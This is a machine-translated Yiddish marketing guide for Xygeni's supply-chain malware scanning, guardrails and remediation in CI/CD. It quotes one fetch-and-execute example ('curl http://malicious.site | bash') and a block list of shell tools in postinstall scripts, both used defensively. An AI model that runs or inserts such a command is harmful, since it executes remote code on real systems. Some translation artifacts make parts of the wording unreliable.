מאַלווער צילט נישט מער נאָר אויף ענדפּונקטן, עס באַהאַלט זיך אין אייערע אָפֿן-קוואַל דיפּענדאַנסיז, CI/CD דזשאבס, און אפילו נאך-אינסטאלירן סקריפטן. אטאקירער ווייסן אז דעוועלאָפּערס רירן זיך שנעל, און זיי נוצן אויס די שנעלקייט. אזוי אויב איר זענט נישט איינגעשטעלט צו דעטעקטירן מאַלווער פרי, זענט איר שוין אין ריזיקע. דאס איז פונקט פארוואס פארשטיין ווי אזוי צו קאָנטראָלירן פֿאַר מאַלוואַרע, ווי אזוי צו באפרייען זיך פון מאַלוואַרע, און וויסן די ריכטיגע מאַלוואַרע ביישפילן איז נישט נאָר נוצלעך, עס איז עסענציעל.
אין דעם פירער, וועלן מיר דורכגיין ווי אזוי צו דערקענען סכנות פרי, זיי אפשטעלן איידער זיי ווערן אויסגעפירט, און זיי עלימינירן פון אייער קאודבאזע. pipelineס פאר גוט. דערצו, וועלן מיר מסביר זיין ווי אזוי צו האלטן מאלוועיר ארויס אן פארלאנגזאמען די ליפערונג.
ווי אזוי צו קאָנטראָלירן פֿאַר מאַלווער איידער עס קומט אין פּראָדוקציע
ווי אזוי צו קאָנטראָלירן פֿאַר מאַלוואַרע איז נישט נאָר אַ זיכערהייט טשעקליסט. עס איז אַ קאָנטינויִערלעכע סטראַטעגיע וואָס הייבט זיך אָן פרי און לויפט איבער דיין גאַנצן pipelineמאַלווער קומט געוויינטלעך שטילערהייט אריין דורך א טראַנזיטיווע דעפּענדענסי, אַן איבערגעקוקטער נאָך-אינסטאַלאַציע סקריפּט, אָדער אַ פאַלש קאָנפיגורירטער בויען שריט. צו בלאָקירן עס עפעקטיוו, דאַרפסטו וויזאַביליטי אויף יעדער שיכט: מקור, דעפּענדענסיעס, און ראַנטיים נאַטור. דאָ איז ווי אַזוי צו קאָנטראָלירן פֿאַר מאַלוואַרע פרי, קאַנטיניואַסלי און אויטאָמאַטיש ניצנדיק Xygeni.
1. סקענען רעגיסטריז איידער איר אינסטאלירט עפּעס
רובֿ מאַלוואַרע היינט הייבט זיך אָן מיט אַ אָפענגיקייַטאין פאַקט, אַטאַקירער אָפט אַפּלאָודן בייזוויליקע פּאַקאַדזשאַז אונטער נעמען וואָס ענלעך צו פּאָפּולערע ביבליאָטעקן. די אָפט קוקן ומשעדלעך אין אַ package.json or requirements.txt, ביז זיי וועלן אויספירן.
קסיגעני'ס פרי ווארענונג סיסטעם מאניטארירט כסדר רעגיסטריז ווי npm, PyPI, Maven, און Docker Hub. עס אנאליזירט יעדע נייע פעקל ווערסיע אין דעם מאמענט וואס עס ווערט ארויסגעגעבן. מיר זוכן:
- פארדעכטיקע אינסטאל סקריפטן (
setup.py,postinstall,install.sh) - פארדעקטע קאד (base64 בלאבס, ענקאדירטע סטרינגס, עוואלואציע באניץ)
- אומגעריכטע נעץ רופן בעת אינסטאַלאַציע
- טיפּאָסקוואַט נאַמינג מוסטערן
וואס מער, אויב איר פירט א yarn install, npm i, אדער pip install, און איינע פון די פּעקלעך איז געמאָלדן, בלאָקירט עס Xygeni אויטאָמאַטיש אויב איר ניצט Guardrails אדער CI אינטעגראציע.
✅ פּראָפֿעסיאָנעלע עצות פֿאַר דעוועלאָפּערס: אויב איר לערנט זיך ווי אזוי צו קאָנטראָלירן פֿאַר מאַלוואַרע אין רעאל-צייט, קענט איר איבערקוקן די געצייכנטע פּעקלעך גלייך אין די dashboard אדער שטעלן אויף וואָרענונגען צו Slack אדער Teams דורך וועבהוק ווען אַ דעפּענדענסי אין אייער SBOM ווײַזט באַקאַנטע אָדער פֿאַרדעכטיקע מאַלוואַרע נאַטור.
2. סקענען קאָד אין גיט רעפּאָס איידער עס ווערט צונויפגעמישט
ווי אזוי צו קאָנטראָלירן פֿאַר מאַלוואַרע גייט ווייטער ווי פּעקל סקאַנינג. עטלעכע מאַלוואַרע קומט נישט פון דריט-פּאַרטיי דיפּענדאַנסיז. אַנשטאָט, עס איז commitגלייך אריינגעלייגט אין דעם קוואל קאוד. דאס נעמט אריין הארט-קאודירטע סודות, פארדעכטיגע סקריפטן, אדער קאפירטע-געפיסטעטע שטיקלעך פון קינסטלעכע אינטעליגענץ געצייג אדער פארומס ווי סטאַקאָוווערפלאָו. כּדי צו כאַפּן די ריזיקעס איידער זיי פֿאַרשפּרייטן זיך, סקענט Xygeni יעדן commit און pull request פֿאַר פֿאַרבאָרגענע לאָגיק, אומזיכערע מוסטערן, און בייזוויליקע קאָד.
מיט קסיגעני'ס GitHub ינאַגריישאַן, יעדער שטופּ אָדער pull request קען אויפוועקן:
- SAST סקענט פֿאַר ענקאָודיד אָדער פֿאַרשטעלטע פּיילאָודז
- סוד דעטעקציע מיט וואַלידאַציע און אָפּרוף
- דערגרייכבאַרקייט אַנאַליז צו קאָנטראָלירן צי סאַספּישאַס קאָד איז טאַקע עקסעקוטאַבאַל
- אנאמאליע דעטעקציע צו ווייזן טאַמפּערינג אין אינפראַ טעקעס, שאָל סקריפּטן, און CI קאָנפיגס
איר קענט אריינשטעקן Xygeni אין GitHub Actions אדער GitLab CI צו סקענען PRs אויטאמאטיש. אויף דעם אופן, אויב איינער שטופט א קאמפראמיטירטן סקריפט אדער... Dockerfile, דער סקען לויפט גלייך און בלאקירט די צוזאמענפיר אויב עס פארלעצט Guardrails.
✅ נוצן פאַל: אויב אַ פּי-אַר שטעלט פֿאָר curl http://malicious.site | bash, וועט Xygeni אָנצייכענען און צעברעכן דעם בוי-ביי-צו-פארבינדונג-פארזוך—איידער עס קומט אן צום הויפט פונקט.
3. דורכפירן מאַלוואַרע סקאַנינג אין CI/CD Pipelines
אפילו אויב איר האָט פריער עפּעס פאַרפעלט, איז CI אייער לעצטע געלעגנהייט צו האַלטן מאַלוואַרע איידער דיפּלוימאַנט. Xygeni אינטעגרירט זיך אין אַלע הויפּט CI מכשירים: GitHub Actions, גיטלאַב, דזשענקינס, ביטבוקקעט, אַזורע דעוואָפּס.
אַמאָל צוגעגעבן, סקענט Xygeni יעדע אַרבעט פֿאַר:
- ניט טראַסטיד דאַונלאָודז or פּיילאָוד פֿעטשעס
- געפערלעך שאָל קאָמאַנדעס or פארשטוכטע לאָגיק אין סקריפּטן
- ביינערי אדער אַרטיפאַקט טאַמפּערינג (למשל, נישט-אונטערגעשריבענע טעקעס אדער העשעס וואס שטימען נישט איבער SBOM)
- נעץ רופן בעת בויען אדער טעסט סטעפּס
איר קענט אינסטאַלירן דעם סקאַנער מיט אַ פּשוטן CLI באַפֿעל אָדער דאָקער קאַנטיינער, און קאָנפיגורירן עס צו לויפן ביי בויען, פּרובירן אָדער דיפּלויען סטאַגעס.
# GitHub Actions example
- name: Scan for malware
uses: xygeni/xygeni-action@v1
env:
XYGENI_API_KEY: ${{ secrets.XYGENI_API_KEY }}
דערצו, קענט איר צעברעכן בילדס אויטאָמאַטיש אויב מאַלוואַרע ווערט דעטעקטירט:
fail_on: malware
block_on: postinstall + base64 + external_url
✅ פּראָ שפּיץ: צוגעבן --xygeni-check צו דיין פאַר-געבויט hooks אין CI כדי איר קענט אפשטעלן שלעכטע אינסטאלס איידער קאנטעינערס אדער ביינעריס ווערן פראדוצירט.
קסנומקס. נוצן Guardrails צו בלאקירן באקאנטע און אומבאַקאַנטע מאַלוואַרע
ווי אזוי צו קאָנטראָלירן פֿאַר מאַלווער עפֿעקטיוו אין פּראָדוקציע סביבות דאַרף מער ווי פּשוטע סקענס. פֿאַר פּראָדוקציע-גראַד דורכפֿירונג, אָפפֿערט Xygeni פירונג Guardrails וואָס לאָזן איר דעפינירן פאַר-cisפּאָליטיקס פֿאַר בלאָקירן בילדס באַזירט אויף נאַטור, ריזיקאָ מדרגה, אָדער טעקע טיפּ.
איר קענט שטעלן כּללים ווי:
- בלאקירן יעדן פּעקל מיט
postinstallסקריפּט רופןwget,curl,bash,python - ברעכן בילדס אויב קאָד כולל
eval()אדער דינאמישער אימפארט פון א וועריאבל - פאָן commitס וואָס מאָדיפיצירן
.github/workflows/*סיידן וועריפיצירט
קסיגעני Guardrails אַרבעטן ביידע אין גיט (בעת צונויפגיסונגען) און אין CI/CD (בעת בויען). אויב אַ כלל ווערט ווייאַלייטיד, ווערט דער בויען אָדער צונויפגיסן אויטאָמאַטיש בלאָקירט, און דער דעוועלאָפּער באַקומט אַ קלאָרע סיבה.
✅ אַוואַנסירטע באַוועגונג: מאַכן Guardrails וואָס גילטן נאָר פֿאַר הויך-סענסיטיוויטי פּאַטס ווי infra/, scripts/, אדער build/, און פארלאנגען הסכמה פאר איבערשרייבונגען.
לעצטער עצ: סקענען SBOMס פֿאַר מאַלוואַרע ריזיקע
קסיגעני סקענט אויך אייער ווייכווארג מאַטעריאַלן ליסטע (SBOM) צו נאכפאלגן פונקטליך וואס איז אריין אין אייער בילד און קאנטראלירן יעדן קאמפאנענט פאר מאלווער אויפפירונג, לייסענסינג ריזיקע, און זיכערהייט סקאר.
איר קענט שאַפֿן SBOMs מיט סיקלאָנעדקס, SPDX, אדער Syft און זיי ארויפלאדן צו Xygeni פאר קאנטינעווירלעכע מאָניטאָרינג.
SBOM סקאַנינג העלפֿט אײַך:
- דעטעקטירן צושטעל קייט קאָמפּראָמיס
- זיכער מאַכן רעפּראָדוסירבארע בילדס
- דורכגיין רעגולאַטאָרישע אוידיטס (למשל, אי.יו. סייבער ריזיליענס אקט, יו. עס. עקסעקוטיוו אָרדער 14028)
אויספאָרשן די בעסטע מכשירים צו כאַפּן מאַלוואַרע פרי
קוקט אריין אין אונדזער גייד צו די בעסטע מאַלוואַרע דעטעקציע מכשירים פֿאַר 2025
מאַלוואַרע ביישפילן וואָס זענען פאַקטיש Pipelineס (לויט טיפ)
צו באמת פֿאַרשטיין ווי אזוי צו קאָנטראָלירן פֿאַר מאַלוואַרע, עס העלפט צו לערנען מאַלוואַרע ביישפילן וואָס האָט געטראָפן עכט pipelineאונטן, האָבן מיר גרופּירט סכנות לויט טיפּ און דערקלערט ווי יעדע איינע אַרבעט, און ווי Xygeni העלפֿט זיי בלאָקירן.
טראָדזשאַן
טראָדזשאַן מאַכן זיך אויס ווי נוצלעכע פּעקלעך. אַמאָל אינסטאַלירט, פירן זיי אויס בייזוויליקע קאָד אין הינטערגרונט. למשל, די npm פּעקלעך discordyt און distube-config האבן אויסגעזען ווי לעגיטימע דיסקארד מאדולן. אין פאקט, האבן זיי אראפגעווארפן א טראָדזשאַן וואָס האט גע'גנב'עט קרעדענשעלס, בראַוזער סעסיעס, און סיסטעם דאַטן. אויב איר דורכפירט נישט ווערסיע פּינינג אָדער וואַלידירט חתימות, קענען טראָדזשאַנס ווי די זיך אַרײַנשלייכן אומבאַמערקט.
באַקדאָרז
באַקדאָרז שאַפֿן פֿאַרבאָרגענע אַקסעס פּונקטן פֿאַר אַטאַקערס. איינער פֿון די ערנסטסטע מאַלוואַרע בייַשפּילן איז געווען CVE-2024-3094, ווו די liblzma די קאמפרעסיע ביבליאטעק איז געווארן בעקטארירט צו בייגיין די SSH אויטענטיפיקאציע. אין פאקט, די געענדערטע ביינערי איז געווארן א טייל פון פארשידענע ווערסיעס. צומ גליק, מיט אנאמאליע דעטעקציע ווי Xygeni'ס פייל אינטעגריטעט סקענס, וואלט איר געכאפט די ענדערונג פרי, לאנג פאר די דיפלוימענט.
קריפּטאָ-גנבים
נאך א ביישפיל פון מאלוועיר איז קריפּטאָ-גנבים. קריפּטאָ-גנבים עקספילטרירן סודות ווי קיכלעך, סעסיע טאָקענס, און וואָלאַט שליסלען. א מאַלוואַרע גערופן bladeroid האט פונקט דאס געטאן. עס איז געווען איינגעבעטן אין npm פעקלעך און שטילערהייט ארויפגעלאדן גע'גנב'עטע דאטן צו אטאקירער-קאנטראלירטע ענדפונקטן. קסיגעני'ס פרי ווארענונג סיסטעם האט עס געכאפט איידער די דעוועלאפערס האבן עס אפילו אראפגעלאדן.
דראָפּפּערס
דראָפּפּערס זענען קליינע לאָודערס וואָס ציען אַראָפּ מער אַוואַנסירטע מאַלוואַרע אַמאָל זיי לויפן. למשל, עטלעכע לעצטע PyPI פּאַקאַדזשאַז האָבן גענוצט setup.py צו אַקטיוויירן ווייַט שאָל דאַונלאָודז נאָך-אינסטאַלירן. אויב דיין pipeline קוקט נישט איבער די אינסטאַלאַציע נאַטור, די קענען לויפן שטילערהייט. קסיגעני אנאליזירט די אינסטאַלאַציע hooks, מאַרקירט נעץ רופן, און האַלט אָפּ דעם דראַפּער איידער עס פֿאַרשפּרייט זיך.
פארשטעלטע מאַלוואַרע
פארשטעלטע מאַלוואַרע באַהאַלט כוונה ניצנדיק טריקס ווי סטרינג ספּליטינג אָדער base64. עטלעכע פאַלשע פּאַקאַדזשאַז האָבן זיך אפילו אויסגעגעבן ווי זיכערהייט ביבליאָטעקן. זיי האָבן פֿאַרשפּעטיקט דעטעקציע דורך באַהאַלטן לאָגיק אין דינאַמישע אימפּאָרטן. דאָך, Xygeni-SAST דע-אָבפוסקאַציע און אַנאַליזירט לאָגיק צו אַנטפּלעקן עמבעדעד פּיילאָודז, אפילו אַריבער קייפל טעקעס. די אָבפוסקאַציע-באַזירטע אַטאַקעס זענען עטלעכע פון די שווערסטע. מאַלוואַרע ביישפילן צו כאַפּן אָן סטאַטישע אַנאַליז.
אינגאנצן, באווייזן די מאַלוואַרע ביישפילן אז קיין טייל פון אייער pipeline איז נישט ערלויבט. כּדי באמת צו זיכערן דעם אַרבעטספֿלוס, מוזן דעוועלאָפּערס פֿאַרשטיין ווי שנעל צו באַזײַטיקן מאַלווער און באַשטעטיקן אַלץ, ספּעציעל וואָס זעט אויס זיכער אין אָנהייב.
ווי אזוי צו באפרייען זיך פון מאַלווער אַמאָל עס איז דעטעקטעד
אפילו מיט א שטארקע דעטעקציע אין פלאץ, קען מאלווער נאך אלץ אדורכגיין. אפשר איז עס געווען א נול-טאג דראפער. אפשר האט א מיטארבעטער אומוויסנדיג געשטופט אן אינפעקטירטע דעפענדיענס. סיי ווי, וויסן ווי אזוי צו באפרייען זיך פון מאלווער שנעל און זיכער איז קריטיש. דא איז ווי אזוי Xygeni העלפט אייך עלימינירן סכנות אין דעם מאמענט וואס זיי ארויפקומען, ניצנדיג פאר-פרא-cisיאָן און אויטאָמאַציע.
1. קאַראַנטינירן די סכּנה גלייך: קיין מאַנועלע איבערבליק
אזוי שנעל ווי איר דעטעקטירט מאַלווער, זאָלט איר עס אײַנהאַלטן אויפן אָרט. דאָ הייבט זיך אָן וויסן ווי אַזוי צו באַפֿרײַען זיך פֿון מאַלווער עפֿעקטיוו. קסיגעני'ס פרי ווארענונג סיסטעם אַקטירט גלייך. עס קאַראַנטינירט בייזוויליקע פּאַקעטן אין דעם מאָמענט וואָס עס מאַרקירט זיי.
עס נעמט אַוועק די פּאַקאַדזשאַז פֿון אַלע בילד קאָנטעקסטן, בלאָקירט צוקונפֿטיקע אינסטאַלאַציעס, און דורכפֿירט שוואַרצע ליסטעס אויף ביידע רעגיסטרי און פּראָיעקט לעוועלס.
אויב איר ניצט אַ פּריוואַטע פּעקל רעגיסטרי, פֿאַרברייטערט Xygeni די קאַראַנטין איבער אייער גאַנצער אָרגאַניזאַציע. אין קורצן, אַמאָל Xygeni מאַרקירט אַ פּעקל ווי בייזוויליק, קען קיין מאַנשאַפֿט עס נישט ווידער נוצן ערגעץ.
✅ פּראָ שפּיץ: מעגלעכן רעאַל-צייט וואָרענונגען צו שיקן סלעק אדער דזשיראַ נאָוטאַפאַקיישאַנז צו אייער מאַנשאַפֿט ווען קסיגעני ענפאָרסט אַ קאַראַנטין.
2. צעברעכן דעם בילד אויטאמאטיש מיט Guardrails
אפשטעלן מאלווער איז נישט נאר וועגן ווארענונגען, עס איז וועגן אויטאָמאַטישע דורכפירונגדאָרט איז וואו קסיגעני Guardrails קום אריין. דו קענסט דעפינירן פאַר-cisפאליסיס ווי למשל:
fail_on: malware
block_if: postinstall + base64 + external_url
די כּללים לאָזן אייך דורכפֿאַלן בילדס גלייך אויב:
- א דעפּענדענסי טריגערט נאַטור-אינדיקאַטאָרן
- קאָד כולל פארשטעלטע לאָגיק
- סודות געפינען זיך אין commit געשיכטע
- אומבאַקאַנטע ביינעריס אָדער סקריפּטן גייען אַרײַן אין די pipeline
איר קענט דערגרייכן דעם ציל Guardrails לויט רעפּאָ, צווייַג, שטרענגקייט, אָדער טעקע דרך, געבן איר פייַן גריינד קאָנטראָל. וויכטיקער, דעוועלאָפּערס באַקומען קלאָר, קאָנטעקסטואַל באַמערקונגען גלייך אין זייער CI לאָגס אָדער PR באַמערקונגען.
Guardrails זענען נישט נאָר דעטעקשאַן, זיי זענען אויטאָמאַטישע שוץ וואָס סקיילד.
3. צוריקנעמען ארויסגעליקטע סודות אין רעאל-צייט
פילע מאַלוואַרע קאַמפּיינז צילן צו עקסטראַקט סודות: וואָלקן קראַדענטשאַלז, API טאָקענס, GitHub OAuths. אויב איר דעטעקטירט מאַלווער, מוזט איר אננעמען אז עפּעס איז אויפגעדעקט געוואָרן.
קסיגעני'ס סודות זיכערהייט מאָדולע:
- סקענט גיט געשיכטע פֿאַר סודות וואָס זענען אַרײַנגעפֿירט געוואָרן מאַנועל אָדער דורך מאַלוואַרע
- באַשטעטיקט צי די סודות זענען נאָך אַקטיוו
- אויטאָמאַטיש אָפּרופן און ראָטירן זיי ניצנדיק איינגעבויטע אינטעגראַציעס
איר באַקומט אַ פולשטענדיקע איבערבליק וואָס ווייזט:
- וועלכע סודות זענען אַנטפּלעקט געוואָרן
- וואו זיי האבן געוואוינט אין קאד
- וואָסערע פֿאַרריכטונג־טרעטן זענען גענומען געוואָרן (אָפּגערופן, ראָטירט, ריפּלייסט)
קיין ספּרעדשיטס. קיין שאַצונגען. קיין פייערלעשערייַ.
4. אויטאָ-פיקס די בייזוויליקע אָפּהענגיקייט, ריין און זיכער
אויב מאַלוואַרע איז אָנגעקומען דורך אַ קאָמפּראָמיטירט אָדער שוואַך פּעקל, איז אייער ווייַטער שריט רעמעדיאַציע. קסיגעני'ס אויטאפיקס דער מאָטאָר העלפֿט אײַך שנעל פֿאַרריכטן דאָס פּראָבלעם, אָן אײַנצופֿירן נײַע ריזיקעס.
עס אנאליזירט:
- וועלכע ווערסיעס זענען ריין
- צי די פארריכטונג ברענגט אריין נייע CVEs
- אויב עפעס ברייקינג ענדערונגען וואָלטן אַפעקטירט דיין בילד
דערנאך דזשענערירט עס אַ גרייט-צו-פאַראייניקן pull request, באגרענעצט נאָר צו די אַפעקטירטע קאָמפּאָנענטן.
xygeni autofix --target package.json --apply
איר באַקומט ריינע אַפּגרעידס אָן קיין גערעטעניש, נאָר זיכערע, וואַלידירטע אַפּדעיטס.
5. טרעיס דעם אינצידענט פון Commit צו אַרטיפאַקט
צום סוף, וויסן ווי אזוי צו באַזײַטיקן מאַלווער מיינט אויך פֿאַרשטיין וואָס איז געשען און קענען דאָס באַווײַזן. קסיגעני גיט פֿולע אינצידענט אַטריבוציע און בילד טרעיסינג דורך אַטעסטאַציע דאַטן.
פֿאַר יעדן מאַלוואַרע געשעעניש, קענט איר שפּורן:
- די גיין commit אדער פּי-אַר וואָס האָט אײַנגעפֿירט דעם קאָמפּאָנענט
- די CI/CD טרעפ עס איז דורכגעגאנגען
- די בילדער אדער אַרטיפאַקטן עס איז געלאַנדעט אין
- צי עס איז געווען אונטערגעשריבן, געסקענט, און וועריפיצירט
דאָס גיט אייך ביידע וואָרצל גרונט זעאונג און פאָרענסישע באַווײַז, עסענציעל פֿאַר אינערלעכע אוידאַטן, קאָנפאָרמאַנס באַריכטן, אָדער אינצידענט רעאַקציע.
Xygeni צייטשטעמפּלט, זיכערט, און מאַכט אַלע אָדיט טריילס גאָר עקספּאָרטירבאר.
צוזאַמען, געבן די שריט אייער מאַנשאַפֿט אַ פולשטענדיקן און אויטאָמאַטישן רעאַקציע פּלאַן. פֿון דעם מאָמענט וואָס איר מאַרקירט אַ סכּנה ביזן פּונקט וואָס איר פֿאַרריכט און טרעיסט עס, ווײַזט אײַך Xygeni פּונקט ווי אַזוי צו באַפֿרײַען זיך פֿון מאַלוואַרע איבער אײַער קאָדבאַזע און pipelineס. איר רעאַגירט מער נישט אונטער דרוק, איר רעאַגירט מיט קאָנטראָל, פאַר-cisיאָן, און בטחון יעדעס מאָל.
דעטעקטירן פרי. האַנדלען שנעל. בלאָקירן אויף אייביק.
מאַלווער פאַרלאַנגזאַמט זיך נישט, און אייער זיכערהייט זאָל אויך נישט. ווי איר האָט געזען איבער דעם גאַנצן אַרטיקל, וויסן ווי אזוי צו קאָנטראָלירן פֿאַר מאַלוואַרע אין אייער קאָדבאַזע און CI/CD וואָרקפלאָוז איז די ערשטע ליניע פון פאַרטיידיקונג. פּונקט אַזוי וויכטיק, איר האָט געלערנט ווי אזוי צו באפרייען זיך פון מאַלוואַרע זיכער און שנעל אַמאָל עס איז דעטעקטירט, אָן צו ברעכן בילדס אָדער אָוווערוועלמינג דיין מאַנשאַפֿט.
מיר זענען אויך דורכגעגאנגען די עכטע מאַלוואַרע ביישפילן וואָס ווייַזן פּונקט ווי אַטאַקערז נוצן אויס דעוועלאָפּער מכשירים, אָפֿן-קוואַל רעגיסטריז און אָטאַמיישאַן סקריפּטן.
מיט Xygeni, קענט איר:
- דעטעקטירן סכנות איבער אייער pipelineס אין פאַקטיש צייט
- דורכפירן Guardrails יענער בראָך בויט אויף שלעכטע נאַטור
- אויטאָמאַטיש צוריקציען ארויסגעלאָזטע סודות
- פּאַטשן בייזוויליקע אָדער שוואַכע פּאַקאַדזשאַז מיט AutoFix
- טרעק יעדן אינצידענט פון קאָד commit צו פּראָדוקציע אַרטיפאַקט
קורץ געזאגט, איר גייט אריבער פון רעאקטיווע רייניקונג צו פראאקטיווע פאַרהיטונג.
אָנהייבן דיין פרייע פּראָבע: קיין קרעדיט קאַרטל, קיין רייבונגען. נאָר ריינע בויען און רואיגקייט. אדער בוך אַ דעמאָ צו זען ווי Xygeni אינטעגרירט זיך מיט אייער עקזיסטירנדיקן סטעק.
